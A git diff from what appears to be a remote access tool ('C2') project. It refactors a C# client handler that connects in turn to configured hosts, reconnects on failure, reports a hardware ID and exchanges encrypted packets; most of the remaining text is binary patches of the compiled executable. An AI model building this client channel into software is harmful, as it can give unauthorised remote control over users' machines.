static ClientHandler() + { + readDataAsync = new ReadDataAsync(Receive); + parsePacketAsync = new ParsePacketAsync(ParsePacket); + sendDataAsync = new SendDataAsync(Send); + connectAsync = new ConnectAsync(Connect); + } + + private static readonly ReadDataAsync readDataAsync; + private static readonly ParsePacketAsync parsePacketAsync; + private static readonly ConnectAsync connectAsync; + private static readonly SendDataAsync sendDataAsync; + + private delegate byte[] ReadDataAsync(ClientHandler clientHandler); + private delegate IPacket ParsePacketAsync(byte[] bufferPacket); + private delegate bool ConnectAsync(ClientHandler clientHandler); + private delegate int SendDataAsync(ClientHandler clientHandler, IPacket data); + + #region "Non Static" internal Host host { get; set; } internal string HWID { get; set; } internal string baseIp { get; set; } private Socket socket { get; set; } internal bool Connected { get; set; } internal int indexHost { get; set; } + #endregion - private delegate byte[] ReadDataAsync(); - private delegate IPacket ReadPacketAsync(byte[] bufferPacket); - private delegate bool ConnectAsync(); - private delegate int SendDataAsync(IPacket data); - - - private ReadDataAsync readDataAsync; - private ReadPacketAsync readPacketAsync; - private ConnectAsync connectAsync; - private readonly SendDataAsync sendDataAsync; - - - internal ClientHandler() : base() - { - readDataAsync = new ReadDataAsync(ReceiveData); - readPacketAsync = new ReadPacketAsync(PacketParser); - sendDataAsync = new SendDataAsync(SendData); - } - - public void ConnectStart() + public static void StartConnect(ClientHandler clientHandler) { - if (indexHost == Config.hosts.Count) - indexHost = 0; + if (clientHandler.indexHost == Config.hosts.Count) + clientHandler.indexHost = 0; - host = Config.hosts[indexHost]; - indexHost++; + clientHandler.host = Config.hosts[clientHandler.indexHost]; + clientHandler.indexHost++; Thread.Sleep(125); - connectAsync = new ConnectAsync(Connect); - connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null); + connectAsync.BeginInvoke(clientHandler, new AsyncCallback(EndConnect), clientHandler); } - private bool Connect() + private static bool Connect(ClientHandler clientHandler) { try { - socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); - socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true); - socket.Connect(host.host, host.port); + clientHandler.socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); + clientHandler.socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true); + clientHandler.socket.Connect(clientHandler.host.host, clientHandler.host.port); return true; } catch { } return false; } - public void EndConnect(IAsyncResult ar) + private static void EndConnect(IAsyncResult ar) { - Connected = connectAsync.EndInvoke(ar); + ClientHandler clientHandler = (ClientHandler)ar.AsyncState; + clientHandler.Connected = connectAsync.EndInvoke(ar); - if (Connected) + if (clientHandler.Connected) { ConnectedPacket connectionPacket = new ConnectedPacket(); - this.HWID = connectionPacket.HWID; - SendPacket(connectionPacket); - Receive(); + clientHandler.HWID = connectionPacket.HWID; + StartSendPacket(clientHandler, connectionPacket); + StartReceive(clientHandler); } else { - ConnectStart(); + StartConnect(clientHandler); } } - public void Receive() + private static void StartReceive(ClientHandler clientHandler) { - if (Connected) - readDataAsync.BeginInvoke(new AsyncCallback(EndDataRead), null); + if (clientHandler.Connected) + readDataAsync.BeginInvoke(clientHandler, new AsyncCallback(EndReceive), clientHandler); else - ConnectStart(); + StartConnect(clientHandler); } - private byte[] ReceiveData() + private static byte[] Receive(ClientHandler clientHandler) { try { int total = 0; int recv; byte[] header = new byte[5]; - socket.Poll(-1, SelectMode.SelectRead); - recv = socket.Receive(header, 0, 5, 0); + clientHandler.socket.Poll(-1, SelectMode.SelectRead); + recv = clientHandler.socket.Receive(header, 0, 5, 0); int size = BitConverter.ToInt32(new byte[4] { header[0], header[1], header[2], header[3] }, 0); PacketType packetType = (PacketType)header[4]; @@ -300,7 +315,7 @@ private byte[] ReceiveData() byte[] data = new byte[size]; while (total < size) { - recv = socket.Receive(data, total, dataleft, 0); + recv = clientHandler.socket.Receive(data, total, dataleft, 0); total += recv; dataleft -= recv; } @@ -309,49 +324,50 @@ private byte[] ReceiveData() } catch (Exception) { - Connected = false; + clientHandler.Connected = false; return null; } } - public void EndDataRead(IAsyncResult ar) + private static void EndReceive(IAsyncResult ar) { byte[] data = readDataAsync.EndInvoke(ar); + ClientHandler clientHandler = (ClientHandler)ar.AsyncState; + if (data != null && clientHandler.Connected) + parsePacketAsync.BeginInvoke(data, new AsyncCallback(EndParsePacket), clientHandler); - if (data != null && Connected) - readPacketAsync.BeginInvoke(data, new AsyncCallback(EndPacketRead), null); - - Receive(); + StartReceive(clientHandler); } - private IPacket PacketParser(byte[] bufferPacket) + private static IPacket ParsePacket(byte[] bufferPacket) { return bufferPacket.DeserializePacket(Config.generalKey); } - public void EndPacketRead(IAsyncResult ar) + private static void EndParsePacket(IAsyncResult ar) { - IPacket packet = readPacketAsync.EndInvoke(ar); - StarterClass.PacketHandler.ParsePacket(packet); + IPacket packet = parsePacketAsync.EndInvoke(ar); + StarterClass.PacketHandler.HandlePacket(packet); } - public void SendPacket(IPacket packet) + private static void StartSendPacket(ClientHandler clientHandler, IPacket packet) { - if (Connected) - sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null); + if (clientHandler.Connected) + sendDataAsync.BeginInvoke(clientHandler, packet, new AsyncCallback(EndSendPacket), clientHandler); } - private int SendData(IPacket data) + + private static int Send(ClientHandler clientHandler, IPacket data) { try { byte[] encryptedData = data.SerializePacket(Config.generalKey); - lock (socket) + lock (clientHandler.socket) { int total = 0; int size = encryptedData.Length; int datalft = size; byte[] header = new byte[5]; - socket.Poll(-1, SelectMode.SelectWrite); + clientHandler.socket.Poll(-1, SelectMode.SelectWrite); byte[] temp = BitConverter.GetBytes(size); @@ -359,9 +375,9 @@ private int SendData(IPacket data) header[1] = temp[1]; header[2] = temp[2]; header[3] = temp[3]; - header[4] = (byte)data.packetType; + header[4] = (byte)data.PacketType; - int sent = socket.Send(header); + int sent = clientHandler.socket.Send(header); if (size > 1000000) { @@ -372,7 +388,7 @@ private int SendData(IPacket data) byte[] chunk = new byte[50 * 1000]; while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { - socket.Send(chunk, 0, read, SocketFlags.None); + clientHandler.socket.Send(chunk, 0, read, SocketFlags.None); } } } @@ -380,7 +396,7 @@ private int SendData(IPacket data) { while (total < size) { - sent = socket.Send(encryptedData, total, size, SocketFlags.None); + sent = clientHandler.socket.Send(encryptedData, total, size, SocketFlags.None); total += sent; datalft -= sent; } @@ -390,14 +406,15 @@ private int SendData(IPacket data) } catch (Exception) { - Connected = false; + clientHandler.Connected = false; return 0; } } - private void SendDataCompleted(IAsyncResult ar) + private static void EndSendPacket(IAsyncResult ar) { int length = sendDataAsync.EndInvoke(ar); - if (Connected) + ClientHandler clientHandler = (ClientHandler)ar.AsyncState; + if (clientHandler.Connected) { return; } diff --git a/Remote Access Tool/C2/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs b/Remote Access Tool/C2/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs index 0bcb79a0..c7f2c837 100644 --- a/Remote Access Tool/C2/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs +++ b/Remote Access Tool/C2/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs @@ -1,4 +1,3 @@ // using System; using System.Reflection; -//[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] diff --git a/Remote Access Tool/C2/obj/Release/C2.csproj.AssemblyReference.cache b/Remote Access Tool/C2/obj/Release/C2.csproj.AssemblyReference.cache index 0b857c6fc737445ec1573563452474fa9396b804..389e54922b91480d9dc470a0dea0161b5b573b5d 100644 GIT binary patch delta 370 zcmeCtI-tYJ#>m6Kz`$tlI$4g{c%qG<%)FTFcNcGQFfuZ-`=_PlWagzZG6PjG0Wr(O zOf^Q=i4&q3O(wp%$H+1{kx72@D@J2RMv!hdIfPcufW+kN)DoY}BxKF9ljk#Yf($U8 ze1};FWJulQUyL4`&$F!JWcQ8uzbyC`$K>Vw4QvqhWL<$exbQT=7D=cQkbAkxO!N%& zj17zpErE`oEX!;{*zHXq8_OnfvrInE=Q(*hqcFq=EI{)ZCJXTUOuoR*F_~M~Yw`>x zugOdJg(mB=sZ5q(_K=(XU6u6`I7o2&D-&*bfsoJSSYh|cPMkiIi&*_9FA!##%q$!* I`KE|50D(GemjD0& delta 289 zcmX@0)1$@7#>mCMz`$tlHd&6@c%qG<%yzf$YmVOHU}R)u_fJd9$;?Y-WCp5W0^!MB z!m^W>38XR_O%@a>n>>MuV{#T_0weR}L?-#ouNaLPC#wp(vobe*T61)Ap|Au{qD#1q z(HO4y7o*4K^DL`4xl)7~iv(_RFfg)Awiof4+$QKbxm(1ApD(zwxFj`K&!sXiF*h@L zav-PmtWu3`@ZDW80SJpe2{i@y|MA}7$q8IyUq-6!uA4VZjZ zBoJ)+I$jQrh};}KpUk|%$%VYOlbtwyB*dZC1(oKNWag&o1*PWZmt^Lp0~J_L<`pvr E0FLun5dZ)H diff --git a/Remote Access Tool/C2/obj/Release/C2.csproj.CoreCompileInputs.cache b/Remote Access Tool/C2/obj/Release/C2.csproj.CoreCompileInputs.cache index 32bf6e89..3cb8654e 100644 --- a/Remote Access Tool/C2/obj/Release/C2.csproj.CoreCompileInputs.cache +++ b/Remote Access Tool/C2/obj/Release/C2.csproj.CoreCompileInputs.cache @@ -1 +1 @@ -105dcd742de8ee0e0a6fddc63b452b7228bc3b02 +cda5eb7bc6e232f33e621e1a1a38483d03ae39f6 diff --git a/Remote Access Tool/C2/obj/Release/C2.exe b/Remote Access Tool/C2/obj/Release/C2.exe index 3301a4516788fb559773b96a2ea83a431e5da240..95fa6f8f867b1e6c269c0c79b27cbca9eb8e8aef 100644 GIT binary patch literal 12800 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 delta 6237 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 diff --git a/Remote Access Tool/C2/obj/Release/C2.pdb b/Remote Access Tool/C2/obj/Release/C2.pdb index 8cc1ccf78373c252f0a0dd3245e00e6f1904c4a9..5539b988ae9209921782cea743654e93f4e7fa16 100644 GIT binary patch literal 34304 zcmeI43zSvWdB^uXNkQLy<;_>*n@!h8 z;{_Y1D{O3R-qaZ+*YtFEWO~xc%a?9QULLgcq`NoPS8Ysnb_Cs-@>DO*ndc8e{w~L# zZq6jrmOmBeKc?(^T0XMz@}M(l?hQ7UU)s1~dAhkPxUna_dCmuebZ$b-tWsAQ2Up=G1%%#I4V}s>5Rdl zOnRE6=d3bsI0N1Nku#j z=fX@TUgJI<--)V@?oCVAt<-s%l0iL}ufx&GoFF^u!+AW{NDN8%$c^2tu}2$}E^p6l z+b4|g6LEX?r`R!7$|E7xn^H3(w1bZmXWKJjd^?v~zOcAof}bWZzkKD*?AhRB++*v_ zm%+KbHyxH4GSwa_%^QinG> z?4UtML1VGy6QZ&=A!FM<5%n9{> zUm9e}*Z0V{^wR2azViB>t}W@HSML~xF`P@Q@9FFeQW@fV z%P$GKgLFr#Px|^GwKd(5*3H$&!8C(aR16~Ct!6tADsJ=24{1`Y5ycL`d{vL=8&Z-~L zr?bP&eP+115LyV8Llw{_=p)cvNOAL_IpKBxeyKj%K!@0l)BF_VbFj)w5zH zreBt*|AkGtwmVqa-J5CdPT>Y0-`u=g9iH$53*l!Gx}N4L)YZ__Ro@<@WY1-9wt!8@ zh~M-0xf%XwZtk%!C*d5deBxWq`pf2$d%=IeA0`ZpV+AeB*>onFcckM^*Zvt_8wpV zf5GV-;}wFmNy*Dz=gQuttz9^#gyX5dJJh)dKeP~j(sm^Y>J?SIoby@@sBayhOdH@A zuTNL}Fyhuh@^`wNocDdXjru?@gVguc!IatCq1RlQN21S%;gtDcuFRXQA?gfG)?jpL zj$Hv++m_HeM;N49KBq!CbD`P?Pcq9qt98EY`QUu86zNiC(=tZZa6B62m!(3V1~q4U zyEd77y;CSGghk`74jchq2qwXcK-KMHQ2y^yP<^o;yclc%mw@t@S2#iT#5PesbEzNst+UNIYIGv0Nxaob)S~?D{$Y%f_hLgSCjzX@74JZ1eAEuI z&(=O9BD+D?iPm8@Qoga=UlW$|sz^@#!H)SvWDDZ`p&5R)U&@#}qyxjAm0hKdd0zE} ziIDsv+aIQrX2)~F_;H>fZXBerEtE@#edjRucFZNBu{w&lLt-R+3|{q_EdP?f8Jq#$ z3es=PC%^{qHjwrv_-W$5 z0)7@1>eKgeUutT3&UInmFEtt3_-sd&;0$V_3QpOS$?(j9E?~}^62_G>3QFk#zK&Fn zc3dZ-wXb+vQI_l(@cdz@HwfkW`HXO-VaSlgO`)O6(3ruu@l$V;N;@^=!Ye%yqxsq zk=v0+-$>-vdpYTAVRLKcmOlC(&!evlxvRXK^yQJ0eNl+lCw8Nx#mh-wZ}`I7N8fbU z_v6oZCUPBKPWobUer|4Za&dj5k-Of@Nnd?WcQ-H00Ub(p>Sg!j(TQCw+2&=Xa{$=` 